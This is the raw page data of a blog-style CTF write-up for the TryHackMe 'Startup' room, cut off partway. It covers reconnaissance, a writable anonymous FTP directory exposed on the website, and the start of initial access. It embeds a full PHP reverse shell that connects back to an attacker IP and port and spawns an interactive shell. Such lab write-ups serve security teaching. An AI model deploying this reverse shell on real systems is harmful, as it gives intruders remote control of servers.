[{"data":1,"prerenderedAt":3202},["ShallowReactive",2],{"\u002F2025\u002Ftryhackme-startup-writeup":3,"surround-\u002F2025\u002Ftryhackme-startup-writeup":3193},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"updated":10,"image":11,"categories":12,"recommend":14,"draft":6,"readingTime":15,"body":20,"_type":3186,"_id":3187,"_source":3188,"_file":3189,"_stem":3190,"_extension":3191,"_original_dir":3192},"\u002F2025\u002Ftryhackme-startup-writeup","2025",false,"","TryHackMe - Startup","Step-by-step solution guide for the TryHackMe Startup room. In this article, discover how to gain initial access via a writable FTP service using PHP reverse shell, how to obtain user credentials by analysing PCAP with Wireshark, and how to gain root privileges by exploiting a misconfigured cron job.","2025-08-25T05:33:27.000Z","https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002Fthumbnail.jpg",[13],"CTF",true,{"text":16,"minutes":17,"time":18,"words":19},"4 min read",3.585,215100,717,{"type":21,"children":22,"toc":3181},"root",[23,29,45,52,56,60,85,89,94,98,102,115,119,125,146,2869,2873,2878,2882,2893,2897,2902,2930,2936,2950,2963,2967,2972,2976,2981,2985,3005,3009,3014,3018,3023,3027,3032,3036,3040,3061,3065,3086,3090,3110,3114,3163,3167,3171,3175],{"type":24,"tag":25,"props":26,"children":28},"element","pic",{"src":27},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F1.jpg",[],{"type":24,"tag":30,"props":31,"children":32},"p",{},[33,36],{"type":34,"value":35},"text","Target IP: ",{"type":24,"tag":37,"props":38,"children":42},"a",{"href":39,"rel":40},"https:\u002F\u002Ftryhackme.com\u002Froom\u002Fstartup",[41],"nofollow",[43],{"type":34,"value":44},"10.10.224.188",{"type":24,"tag":46,"props":47,"children":49},"h2",{"id":48},"reconnaissance",[50],{"type":34,"value":51},"Reconnaissance",{"type":24,"tag":25,"props":53,"children":55},{"src":54},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F2.jpg",[],{"type":24,"tag":25,"props":57,"children":59},{"src":58},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F3.jpg",[],{"type":24,"tag":30,"props":61,"children":62},{},[63,65,75,77,83],{"type":34,"value":64},"We see an ",{"type":24,"tag":66,"props":67,"children":72},"code",{"className":68,"id":70,"style":71},[69],"example-info","just-like-this","color: #4DFFBE",[73],{"type":34,"value":74},"anonymous",{"type":34,"value":76}," FTP login and an open website on port ",{"type":24,"tag":66,"props":78,"children":80},{"className":79},[],[81],{"type":34,"value":82},"80",{"type":34,"value":84},". Let's investigate these.",{"type":24,"tag":25,"props":86,"children":88},{"src":87},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F4.jpg",[],{"type":24,"tag":30,"props":90,"children":91},{},[92],{"type":34,"value":93},"Let's perform a directory scan on this site.",{"type":24,"tag":25,"props":95,"children":97},{"src":96},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F5.jpg",[],{"type":24,"tag":25,"props":99,"children":101},{"src":100},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F6.jpg",[],{"type":24,"tag":30,"props":103,"children":104},{},[105,107,113],{"type":34,"value":106},"We found the ",{"type":24,"tag":66,"props":108,"children":110},{"className":109},[],[111],{"type":34,"value":112},"\u002Ffiles",{"type":34,"value":114}," path and when we looked into it, we saw that the files in FTP were also here. Let's take a closer look at FTP.",{"type":24,"tag":25,"props":116,"children":118},{"src":117},"https:\u002F\u002Fhackpaper-image-server.netlify.app\u002Fimages\u002Fblogs\u002Ftryhackme-startup-writeup\u002F7.jpg",[],{"type":24,"tag":46,"props":120,"children":122},{"id":121},"initial-access",[123],{"type":34,"value":124},"Initial Access",{"type":24,"tag":30,"props":126,"children":127},{},[128,130,136,138],{"type":34,"value":129},"Here, the permissions for the ",{"type":24,"tag":66,"props":131,"children":133},{"className":132},[],[134],{"type":34,"value":135},"ftp",{"type":34,"value":137}," directory catch our eye. We can write to this directory as we wish. So we can place a reverse shell here, and if we can trigger it somehow, we will have access to the shell.\n",{"type":24,"tag":139,"props":140,"children":143},"span",{"className":141,"id":70,"style":142},[69],"color: #efb11d",[144],{"type":34,"value":145},"Change your own information in the code.",{"type":24,"tag":147,"props":148,"children":153},"pre",{"className":149,"code":150,"filename":151,"language":152,"meta":7,"style":7},"language-php shiki shiki-themes catppuccin-latte one-dark-pro","\u003C?php\n\u002F\u002F php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\u002F\u002Fraw.githubusercontent.com\u002Fpentestmonkey\u002Fphp-reverse-shell\u002Fmaster\u002Fphp-reverse-shell.php\n\u002F\u002F Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = '10.21.251.163';\n$port = 4040;\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'uname -a; w; id; sh -i';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists('pcntl_fork')) {\n        $pid = pcntl_fork();\n\n        if ($pid == -1) {\n                printit(\"ERROR: Can't fork\");\n                exit(1);\n        }\n\n        if ($pid) {\n                exit(0);  \u002F\u002F Parent exits\n        }\n        if (posix_setsid() == -1) {\n                printit(\"Error: Can't setsid()\");\n                exit(1);\n        }\n\n        $daemon = 1;\n} else {\n        printit(\"WARNING: Failed to daemonise.  This is quite common and not fatal.\");\n}\n\nchdir(\"\u002F\");\n\numask(0);\n\n\u002F\u002F Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n        printit(\"$errstr ($errno)\");\n        exit(1);\n}\n\n$descriptorspec = array(\n   0 => array(\"pipe\", \"r\"),  \u002F\u002F stdin is a pipe that the child will read from\n   1 => array(\"pipe\", \"w\"),  \u002F\u002F stdout is a pipe that the child will write to\n   2 => array(\"pipe\", \"w\")   \u002F\u002F stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n        printit(\"ERROR: Can't spawn shell\");\n        exit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n        if (feof($sock)) {\n                printit(\"ERROR: Shell connection terminated\");\n                break;\n        }\n\n        if (feof($pipes[1])) {\n                printit(\"ERROR: Shell process terminated\");\n                break;\n        }\n\n        $read_a = array($sock, $pipes[1], $pipes[2]);\n        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n        if (in_array($sock, $read_a)) {\n                if ($debug) printit(\"SOCK READ\");\n                $input = fread($sock, $chunk_size);\n                if ($debug) printit(\"SOCK: $input\");\n                fwrite($pipes[0], $input);\n        }\n\n        if (in_array($pipes[1], $read_a)) {\n                if ($debug) printit(\"STDOUT READ\");\n                $input = fread($pipes[1], $chunk_size);\n                if ($debug) printit(\"STDOUT: $input\");\n                fwrite($sock, $input);\n        }\n\n        if (in_array($pipes[2], $read_a)) {\n                if ($debug) printit(\"STDERR READ\");\n                $input = fread($pipes[2], $chunk_size);\n                if ($debug) printit(\"STDERR: $input\");\n                fwrite($sock, $input);\n        }\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n        if (!$daemon) {\n                print \"$string\\n\";\n        }\n}\n\n?>\n","shell.php","php",[154],{"type":24,"tag":66,"props":155,"children":156},{"__ignoreMap":7},[157,180,190,199,208,235,261,283,305,327,350,371,393,415,436,444,483,506,514,556,579,600,609,617,641,667,675,717,738,758,766,774,796,814,836,845,853,875,883,904,912,921,988,1017,1057,1078,1086,1094,1117,1164,1207,1249,1257,1265,1313,1321,1358,1379,1399,1407,1415,1455,1491,1528,1556,1564,1603,1611,1636,1669,1690,1703,1711,1719,1760,1781,1793,1801,1809,1871,1928,1936,1978,2017,2056,2102,2140,2148,2156,2204,2241,2285,2330,2358,2366,2374,2422,2459,2503,2548,2576,2584,2592,2600,2621,2649,2677,2705,2726,2734,2771,2799,2832,2840,2848,2856],{"type":24,"tag":139,"props":158,"children":161},{"class":159,"line":160},"line",1,[162,168,174],{"type":24,"tag":139,"props":163,"children":165},{"style":164},"--shiki-default:#179299;--shiki-dark:#56B6C2",[166],{"type":34,"value":167},"\u003C",{"type":24,"tag":139,"props":169,"children":171},{"style":170},"--shiki-default:#179299;--shiki-dark:#C678DD",[172],{"type":34,"value":173},"?",{"type":24,"tag":139,"props":175,"children":177},{"style":176},"--shiki-default:#4C4F69;--shiki-dark:#ABB2BF",[178],{"type":34,"value":179},"php\n",{"type":24,"tag":139,"props":181,"children":183},{"class":159,"line":182},2,[184],{"type":24,"tag":139,"props":185,"children":187},{"style":186},"--shiki-default:#9CA0B0;--shiki-default-font-style:italic;--shiki-dark:#7F848E;--shiki-dark-font-style:italic",[188],{"type":34,"value":189},"\u002F\u002F php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https:\u002F\u002Fraw.githubusercontent.com\u002Fpentestmonkey\u002Fphp-reverse-shell\u002Fmaster\u002Fphp-reverse-shell.php\n",{"type":24,"tag":139,"props":191,"children":193},{"class":159,"line":192},3,[194],{"type":24,"tag":139,"props":195,"children":196},{"style":186},[197],{"type":34,"value":198},"\u002F\u002F Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n",{"type":24,"tag":139,"props":200,"children":202},{"class":159,"line":201},4,[203],{"type":24,"tag":139,"props":204,"children":205},{"emptyLinePlaceholder":14},[206],{"type":34,"value":207},"\n",{"type":24,"tag":139,"props":209,"children":211},{"class":159,"line":210},5,[212,218,224,230],{"type":24,"tag":139,"props":213,"children":215},{"style":214},"--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#56B6C2;--shiki-dark-font-style:inherit",[216],{"type":34,"value":217},"set_time_limit",{"type":24,"tag":139,"props":219,"children":221},{"style":220},"--shiki-default:#7C7F93;--shiki-dark:#ABB2BF",[222],{"type":34,"value":223}," (",{"type":24,"tag":139,"props":225,"children":227},{"style":226},"--shiki-default:#FE640B;--shiki-dark:#D19A66",[228],{"type":34,"value":229},"0",{"type":24,"tag":139,"props":231,"children":232},{"style":220},[233],{"type":34,"value":234},");\n",{"type":24,"tag":139,"props":236,"children":238},{"class":159,"line":237},6,[239,245,250,256],{"type":24,"tag":139,"props":240,"children":242},{"style":241},"--shiki-default:#4C4F69;--shiki-dark:#E06C75",[243],{"type":34,"value":244},"$VERSION",{"type":24,"tag":139,"props":246,"children":247},{"style":164},[248],{"type":34,"value":249}," =",{"type":24,"tag":139,"props":251,"children":253},{"style":252},"--shiki-default:#40A02B;--shiki-dark:#98C379",[254],{"type":34,"value":255}," \"1.0\"",{"type":24,"tag":139,"props":257,"children":258},{"style":220},[259],{"type":34,"value":260},";\n",{"type":24,"tag":139,"props":262,"children":264},{"class":159,"line":263},7,[265,270,274,279],{"type":24,"tag":139,"props":266,"children":267},{"style":241},[268],{"type":34,"value":269},"$ip",{"type":24,"tag":139,"props":271,"children":272},{"style":164},[273],{"type":34,"value":249},{"type":24,"tag":139,"props":275,"children":276},{"style":252},[277],{"type":34,"value":278}," '10.21.251.163'",{"type":24,"tag":139,"props":280,"children":281},{"style":220},[282],{"type":34,"value":260},{"type":24,"tag":139,"props":284,"children":286},{"class":159,"line":285},8,[287,292,296,301],{"type":24,"tag":139,"props":288,"children":289},{"style":241},[290],{"type":34,"value":291},"$port",{"type":24,"tag":139,"props":293,"children":294},{"style":164},[295],{"type":34,"value":249},{"type":24,"tag":139,"props":297,"children":298},{"style":226},[299],{"type":34,"value":300}," 4040",{"type":24,"tag":139,"props":302,"children":303},{"style":220},[304],{"type":34,"value":260},{"type":24,"tag":139,"props":306,"children":308},{"class":159,"line":307},9,[309,314,318,323],{"type":24,"tag":139,"props":310,"children":311},{"style":241},[312],{"type":34,"value":313},"$chunk_size",{"type":24,"tag":139,"props":315,"children":316},{"style":164},[317],{"type":34,"value":249},{"type":24,"tag":139,"props":319,"children":320},{"style":226},[321],{"type":34,"value":322}," 1400",{"type":24,"tag":139,"props":324,"children":325},{"style":220},[326],{"type":34,"value":260},{"type":24,"tag":139,"props":328,"children":330},{"class":159,"line":329},10,[331,336,340,346],{"type":24,"tag":139,"props":332,"children":333},{"style":241},[334],{"type":34,"value":335},"$write_a",{"type":24,"tag":139,"props":337,"children":338},{"style":164},[339],{"type":34,"value":249},{"type":24,"tag":139,"props":341,"children":343},{"style":342},"--shiki-default:#8839EF;--shiki-dark:#D19A66",[344],{"type":34,"value":345}," null",{"type":24,"tag":139,"props":347,"children":348},{"style":220},[349],{"type":34,"value":260},{"type":24,"tag":139,"props":351,"children":353},{"class":159,"line":352},11,[354,359,363,367],{"type":24,"tag":139,"props":355,"children":356},{"style":241},[357],{"type":34,"value":358},"$error_a",{"type":24,"tag":139,"props":360,"children":361},{"style":164},[362],{"type":34,"value":249},{"type":24,"tag":139,"props":364,"children":365},{"style":342},[366],{"type":34,"value":345},{"type":24,"tag":139,"props":368,"children":369},{"style":220},[370],{"type":34,"value":260},{"type":24,"tag":139,"props":372,"children":374},{"class":159,"line":373},12,[375,380,384,389],{"type":24,"tag":139,"props":376,"children":377},{"style":241},[378],{"type":34,"value":379},"$shell",{"type":24,"tag":139,"props":381,"children":382},{"style":164},[383],{"type":34,"value":249},{"type":24,"tag":139,"props":385,"children":386},{"style":252},[387],{"type":34,"value":388}," 'uname -a; w; id; sh -i'",{"type":24,"tag":139,"props":390,"children":391},{"style":220},[392],{"type":34,"value":260},{"type":24,"tag":139,"props":394,"children":396},{"class":159,"line":395},13,[397,402,406,411],{"type":24,"tag":139,"props":398,"children":399},{"style":241},[400],{"type":34,"value":401},"$daemon",{"type":24,"tag":139,"props":403,"children":404},{"style":164},[405],{"type":34,"value":249},{"type":24,"tag":139,"props":407,"children":408},{"style":226},[409],{"type":34,"value":410}," 0",{"type":24,"tag":139,"props":412,"children":413},{"style":220},[414],{"type":34,"value":260},{"type":24,"tag":139,"props":416,"children":418},{"class":159,"line":417},14,[419,424,428,432],{"type":24,"tag":139,"props":420,"children":421},{"style":241},[422],{"type":34,"value":423},"$debug",{"type":24,"tag":139,"props":425,"children":426},{"style":164},[427],{"type":34,"value":249},{"type":24,"tag":139,"props":429,"children":430},{"style":226},[431],{"type":34,"value":410},{"type":24,"tag":139,"props":433,"children":434},{"style":220},[435],{"type":34,"value":260},{"type":24,"tag":139,"props":437,"children":439},{"class":159,"line":438},15,[440],{"type":24,"tag":139,"props":441,"children":442},{"emptyLinePlaceholder":14},[443],{"type":34,"value":207},{"type":24,"tag":139,"props":445,"children":447},{"class":159,"line":446},16,[448,454,458,463,468,473,478],{"type":24,"tag":139,"props":449,"children":451},{"style":450},"--shiki-default:#8839EF;--shiki-dark:#C678DD",[452],{"type":34,"value":453},"if",{"type":24,"tag":139,"props":455,"children":456},{"style":220},[457],{"type":34,"value":223},{"type":24,"tag":139,"props":459,"children":460},{"style":214},[461],{"type":34,"value":462},"function_exists",{"type":24,"tag":139,"props":464,"children":465},{"style":220},[466],{"type":34,"value":467},"(",{"type":24,"tag":139,"props":469,"children":470},{"style":252},[471],{"type":34,"value":472},"'pcntl_fork'",{"type":24,"tag":139,"props":474,"children":475},{"style":220},[476],{"type":34,"value":477},"))",{"type":24,"tag":139,"props":479,"children":480},{"style":220},[481],{"type":34,"value":482}," {\n",{"type":24,"tag":139,"props":484,"children":486},{"class":159,"line":485},17,[487,492,496,501],{"type":24,"tag":139,"props":488,"children":489},{"style":241},[490],{"type":34,"value":491},"        $pid",{"type":24,"tag":139,"props":493,"children":494},{"style":164},[495],{"type":34,"value":249},{"type":24,"tag":139,"props":497,"children":498},{"style":214},[499],{"type":34,"value":500}," pcntl_fork",{"type":24,"tag":139,"props":502,"children":503},{"style":220},[504],{"type":34,"value":505},"();\n",{"type":24,"tag":139,"props":507,"children":509},{"class":159,"line":508},18,[510],{"type":24,"tag":139,"props":511,"children":512},{"emptyLinePlaceholder":14},[513],{"type":34,"value":207},{"type":24,"tag":139,"props":515,"children":517},{"class":159,"line":516},19,[518,523,527,532,537,542,547,552],{"type":24,"tag":139,"props":519,"children":520},{"style":450},[521],{"type":34,"value":522},"        if",{"type":24,"tag":139,"props":524,"children":525},{"style":220},[526],{"type":34,"value":223},{"type":24,"tag":139,"props":528,"children":529},{"style":241},[530],{"type":34,"value":531},"$pid",{"type":24,"tag":139,"props":533,"children":534},{"style":164},[535],{"type":34,"value":536}," ==",{"type":24,"tag":139,"props":538,"children":539},{"style":164},[540],{"type":34,"value":541}," -",{"type":24,"tag":139,"props":543,"children":544},{"style":226},[545],{"type":34,"value":546},"1",{"type":24,"tag":139,"props":548,"children":549},{"style":220},[550],{"type":34,"value":551},")",{"type":24,"tag":139,"props":553,"children":554},{"style":220},[555],{"type":34,"value":482},{"type":24,"tag":139,"props":557,"children":559},{"class":159,"line":558},20,[560,566,570,575],{"type":24,"tag":139,"props":561,"children":563},{"style":562},"--shiki-default:#1E66F5;--shiki-default-font-style:italic;--shiki-dark:#61AFEF;--shiki-dark-font-style:inherit",[564],{"type":34,"value":565},"                printit",{"type":24,"tag":139,"props":567,"children":568},{"style":220},[569],{"type":34,"value":467},{"type":24,"tag":139,"props":571,"children":572},{"style":252},[573],{"type":34,"value":574},"\"ERROR: Can't fork\"",{"type":24,"tag":139,"props":576,"children":577},{"style":220},[578],{"type":34,"value":234},{"type":24,"tag":139,"props":580,"children":582},{"class":159,"line":581},21,[583,588,592,596],{"type":24,"tag":139,"props":584,"children":585},{"style":450},[586],{"type":34,"value":587},"                exit",{"type":24,"tag":139,"props":589,"children":590},{"style":220},[591],{"type":34,"value":467},{"type":24,"tag":139,"props":593,"children":594},{"style":226},[595],{"type":34,"value":546},{"type":24,"tag":139,"props":597,"children":598},{"style":220},[599],{"type":34,"value":234},{"type":24,"tag":139,"props":601,"children":603},{"class":159,"line":602},22,[604],{"type":24,"tag":139,"props":605,"children":606},{"style":220},[607],{"type":34,"value":608},"        }\n",{"type":24,"tag":139,"props":610,"children":612},{"class":159,"line":611},23,[613],{"type":24,"tag":139,"props":614,"children":615},{"emptyLinePlaceholder":14},[616],{"type":34,"value":207},{"type":24,"tag":139,"props":618,"children":620},{"class":159,"line":619},24,[621,625,629,633,637],{"type":24,"tag":139,"props":622,"children":623},{"style":450},[624],{"type":34,"value":522},{"type":24,"tag":139,"props":626,"children":627},{"style":220},[628],{"type":34,"value":223},{"type":24,"tag":139,"props":630,"children":631},{"style":241},[632],{"type":34,"value":531},{"type":24,"tag":139,"props":634,"children":635},{"style":220},[636],{"type":34,"value":551},{"type":24,"tag":139,"props":638,"children":639},{"style":220},[640],{"type":34,"value":482},{"type":24,"tag":139,"props":642,"children":644},{"class":159,"line":643},25,[645,649,653,657,662],{"type":24,"tag":139,"props":646,"children":647},{"style":450},[648],{"type":34,"value":587},{"type":24,"tag":139,"props":650,"children":651},{"style":220},[652],{"type":34,"value":467},{"type":24,"tag":139,"props":654,"children":655},{"style":226},[656],{"type":34,"value":229},{"type":24,"tag":139,"props":658,"children":659},{"style":220},[660],{"type":34,"value":661},");",{"type":24,"tag":139,"props":663,"children":664},{"style":186},[665],{"type":34,"value":666},"  \u002F\u002F Parent exits\n",{"type":24,"tag":139,"props":668,"children":670},{"class":159,"line":669},26,[671],{"type":24,"tag":139,"props":672,"children":673},{"style":220},[674],{"type":34,"value":608},{"type":24,"tag":139,"props":676,"children":678},{"class":159,"line":677},27,[679,683,687,692,697,701,705,709,713],{"type":24,"tag":139,"props":680,"children":681},{"style":450},[682],{"type":34,"value":522},{"type":24,"tag":139,"props":684,"children":685},{"style":220},[686],{"type":34,"value":223},{"type":24,"tag":139,"props":688,"children":689},{"style":214},[690],{"type":34,"value":691},"posix_setsid",{"type":24,"tag":139,"props":693,"children":694},{"style":220},[695],{"type":34,"value":696},"()",{"type":24,"tag":139,"props":698,"children":699},{"style":164},[700],{"type":34,"value":536},{"type":24,"tag":139,"props":702,"children":703},{"style":164},[704],{"type":34,"value":541},{"type":24,"tag":139,"props":706,"children":707},{"style":226},[708],{"type":34,"value":546},{"type":24,"tag":139,"props":710,"children":711},{"style":220},[712],{"type":34,"value":551},{"type":24,"tag":139,"props":714,"children":715},{"style":220},[716],{"type":34,"value":482},{"type":24,"tag":139,"props":718,"children":720},{"class":159,"line":719},28,[721,725,729,734],{"type":24,"tag":139,"props":722,"children":723},{"style":562},[724],{"type":34,"value":565},{"type":24,"tag":139,"props":726,"children":727},{"style":220},[728],{"type":34,"value":467},{"type":24,"tag":139,"props":730,"children":731},{"style":252},[732],{"type":34,"value":733},"\"Error: Can't setsid()\"",{"type":24,"tag":139,"props":735,"children":736},{"style":220},[737],{"type":34,"value":234},{"type":24,"tag":139,"props":739,"children":741},{"class":159,"line":740},29,[742,746,750,754],{"type":24,"tag":139,"props":743,"children":744},{"style":450},[745],{"type":34,"value":587},{"type":24,"tag":139,"props":747,"children":748},{"style":220},[749],{"type":34,"value":467},{"type":24,"tag":139,"props":751,"children":752},{"style":226},[753],{"type":34,"value":546},{"type":24,"tag":139,"props":755,"children":756},{"style":220},[757],{"type":34,"value":234},{"type":24,"tag":139,"props":759,"children":761},{"class":159,"line":760},30,[762],{"type":24,"tag":139,"props":763,"children":764},{"style":220},[765],{"type":34,"value":608},{"type":24,"tag":139,"props":767,"children":769},{"class":159,"line":768},31,[770],{"type":24,"tag":139,"props":771,"children":772},{"emptyLinePlaceholder":14},[773],{"type":34,"value":207},{"type":24,"tag":139,"props":775,"children":777},{"class":159,"line":776},32,[778,783,787,792],{"type":24,"tag":139,"props":779,"children":780},{"style":241},[781],{"type":34,"value":782},"        $daemon",{"type":24,"tag":139,"props":784,"children":785},{"style":164},[786],{"type":34,"value":249},{"type":24,"tag":139,"props":788,"children":789},{"style":226},[790],{"type":34,"value":791}," 1",{"type":24,"tag":139,"props":793,"children":794},{"style":220},[795],{"type":34,"value":260},{"type":24,"tag":139,"props":797,"children":799},{"class":159,"line":798},33,[800,805,810],{"type":24,"tag":139,"props":801,"children":802},{"style":220},[803],{"type":34,"value":804},"}",{"type":24,"tag":139,"props":806,"children":807},{"style":450},[808],{"type":34,"value":809}," else",{"type":24,"tag":139,"props":811,"children":812},{"style":220},[813],{"type":34,"value":482},{"type":24,"tag":139,"props":815,"children":817},{"class":159,"line":816},34,[818,823,827,832],{"type":24,"tag":139,"props":819,"children":820},{"style":562},[821],{"type":34,"value":822},"        printit",{"type":24,"tag":139,"props":824,"children":825},{"style":220},[826],{"type":34,"value":467},{"type":24,"tag":139,"props":828,"children":829},{"style":252},[830],{"type":34,"value":831},"\"WARNING: Failed to daemonise.  This is quite common and not fatal.\"",{"type":24,"tag":139,"props":833,"children":834},{"style":220},[835],{"type":34,"value":234},{"type":24,"tag":139,"props":837,"children":839},{"class":159,"line":838},35,[840],{"type":24,"tag":139,"props":841,"children":842},{"style":220},[843],{"type":34,"value":844},"}\n",{"type":24,"tag":139,"props":846,"children":848},{"class":159,"line":847},36,[849],{"type":24,"tag":139,"props":850,"children":851},{"emptyLinePlaceholder":14},[852],{"type":34,"value":207},{"type":24,"tag":139,"props":854,"children":856},{"class":159,"line":855},37,[857,862,866,871],{"type":24,"tag":139,"props":858,"children":859},{"style":214},[860],{"type":34,"value":861},"chdir",{"type":24,"tag":139,"props":863,"children":864},{"style":220},[865],{"type":34,"value":467},{"type":24,"tag":139,"props":867,"children":868},{"style":252},[869],{"type":34,"value":870},"\"\u002F\"",{"type":24,"tag":139,"props":872,"children":873},{"style":220},[874],{"type":34,"value":234},{"type":24,"tag":139,"props":876,"children":878},{"class":159,"line":877},38,[879],{"type":24,"tag":139,"props":880,"children":881},{"emptyLinePlaceholder":14},[882],{"type":34,"value":207},{"type":24,"tag":139,"props":884,"children":886},{"class":159,"line":885},39,[887,892,896,900],{"type":24,"tag":139,"props":888,"children":889},{"style":214},[890],{"type":34,"value":891},"umask",{"type":24,"tag":139,"props":893,"children":894},{"style":220},[895],{"type":34,"value":467},{"type":24,"tag":139,"props":897,"children":898},{"style":226},[899],{"type":34,"value":229},{"type":24,"tag":139,"props":901,"children":902},{"style":220},[903],{"type":34,"value":234},{"type":24,"tag":139,"props":905,"children":907},{"class":159,"line":906},40,[908],{"type":24,"tag":139,"props":909,"children":910},{"emptyLinePlaceholder":14},[911],{"type":34,"value":207},{"type":24,"tag":139,"props":913,"children":915},{"class":159,"line":914},41,[916],{"type":24,"tag":139,"props":917,"children":918},{"style":186},[919],{"type":34,"value":920},"\u002F\u002F Open reverse connection\n",{"type":24,"tag":139,"props":922,"children":924},{"class":159,"line":923},42,[925,930,934,939,943,947,952,957,961,966,970,975,979,984],{"type":24,"tag":139,"props":926,"children":927},{"style":241},[928],{"type":34,"value":929},"$sock",{"type":24,"tag":139,"props":931,"children":932},{"style":164},[933],{"type":34,"value":249},{"type":24,"tag":139,"props":935,"children":936},{"style":214},[937],{"type":34,"value":938}," fsockopen",{"type":24,"tag":139,"props":940,"children":941},{"style":220},[942],{"type":34,"value":467},{"type":24,"tag":139,"props":944,"children":945},{"style":241},[946],{"type":34,"value":269},{"type":24,"tag":139,"props":948,"children":949},{"style":220},[950],{"type":34,"value":951},",",{"type":24,"tag":139,"props":953,"children":954},{"style":241},[955],{"type":34,"value":956}," $port",{"type":24,"tag":139,"props":958,"children":959},{"style":220},[960],{"type":34,"value":951},{"type":24,"tag":139,"props":962,"children":963},{"style":241},[964],{"type":34,"value":965}," $errno",{"type":24,"tag":139,"props":967,"children":968},{"style":220},[969],{"type":34,"value":951},{"type":24,"tag":139,"props":971,"children":972},{"style":241},[973],{"type":34,"value":974}," $errstr",{"type":24,"tag":139,"props":976,"children":977},{"style":220},[978],{"type":34,"value":951},{"type":24,"tag":139,"props":980,"children":981},{"style":226},[982],{"type":34,"value":983}," 30",{"type":24,"tag":139,"props":985,"children":986},{"style":220},[987],{"type":34,"value":234},{"type":24,"tag":139,"props":989,"children":991},{"class":159,"line":990},43,[992,996,1000,1005,1009,1013],{"type":24,"tag":139,"props":993,"children":994},{"style":450},[995],{"type":34,"value":453},{"type":24,"tag":139,"props":997,"children":998},{"style":220},[999],{"type":34,"value":223},{"type":24,"tag":139,"props":1001,"children":1002},{"style":164},[1003],{"type":34,"value":1004},"!",{"type":24,"tag":139,"props":1006,"children":1007},{"style":241},[1008],{"type":34,"value":929},{"type":24,"tag":139,"props":1010,"children":1011},{"style":220},[1012],{"type":34,"value":551},{"type":24,"tag":139,"props":1014,"children":1015},{"style":220},[1016],{"type":34,"value":482},{"type":24,"tag":139,"props":1018,"children":1020},{"class":159,"line":1019},44,[1021,1025,1029,1034,1039,1043,1048,1053],{"type":24,"tag":139,"props":1022,"children":1023},{"style":562},[1024],{"type":34,"value":822},{"type":24,"tag":139,"props":1026,"children":1027},{"style":220},[1028],{"type":34,"value":467},{"type":24,"tag":139,"props":1030,"children":1031},{"style":252},[1032],{"type":34,"value":1033},"\"",{"type":24,"tag":139,"props":1035,"children":1036},{"style":241},[1037],{"type":34,"value":1038},"$errstr",{"type":24,"tag":139,"props":1040,"children":1041},{"style":252},[1042],{"type":34,"value":223},{"type":24,"tag":139,"props":1044,"children":1045},{"style":241},[1046],{"type":34,"value":1047},"$errno",{"type":24,"tag":139,"props":1049,"children":1050},{"style":252},[1051],{"type":34,"value":1052},")\"",{"type":24,"tag":139,"props":1054,"children":1055},{"style":220},[1056],{"type":34,"value":234},{"type":24,"tag":139,"props":1058,"children":1060},{"class":159,"line":1059},45,[1061,1066,1070,1074],{"type":24,"tag":139,"props":1062,"children":1063},{"style":450},[1064],{"type":34,"value":1065},"        exit",{"type":24,"tag":139,"props":1067,"children":1068},{"style":220},[1069],{"type":34,"value":467},{"type":24,"tag":139,"props":1071,"children":1072},{"style":226},[1073],{"type":34,"value":546},{"type":24,"tag":139,"props":1075,"children":1076},{"style":220},[1077],{"type":34,"value":234},{"type":24,"tag":139,"props":1079,"children":1081},{"class":159,"line":1080},46,[1082],{"type":24,"tag":139,"props":1083,"children":1084},{"style":220},[1085],{"type":34,"value":844},{"type":24,"tag":139,"props":1087,"children":1089},{"class":159,"line":1088},47,[1090],{"type":24,"tag":139,"props":1091,"children":1092},{"emptyLinePlaceholder":14},[1093],{"type":34,"value":207},{"type":24,"tag":139,"props":1095,"children":1097},{"class":159,"line":1096},48,[1098,1103,1107,1112],{"type":24,"tag":139,"props":1099,"children":1100},{"style":241},[1101],{"type":34,"value":1102},"$descriptorspec",{"type":24,"tag":139,"props":1104,"children":1105},{"style":164},[1106],{"type":34,"value":249},{"type":24,"tag":139,"props":1108,"children":1109},{"style":214},[1110],{"type":34,"value":1111}," array",{"type":24,"tag":139,"props":1113,"children":1114},{"style":220},[1115],{"type":34,"value":1116},"(\n",{"type":24,"tag":139,"props":1118,"children":1120},{"class":159,"line":1119},49,[1121,1126,1132,1136,1140,1145,1149,1154,1159],{"type":24,"tag":139,"props":1122,"children":1123},{"style":226},[1124],{"type":34,"value":1125},"   0",{"type":24,"tag":139,"props":1127,"children":1129},{"style":1128},"--shiki-default:#179299;--shiki-dark:#ABB2BF",[1130],{"type":34,"value":1131}," 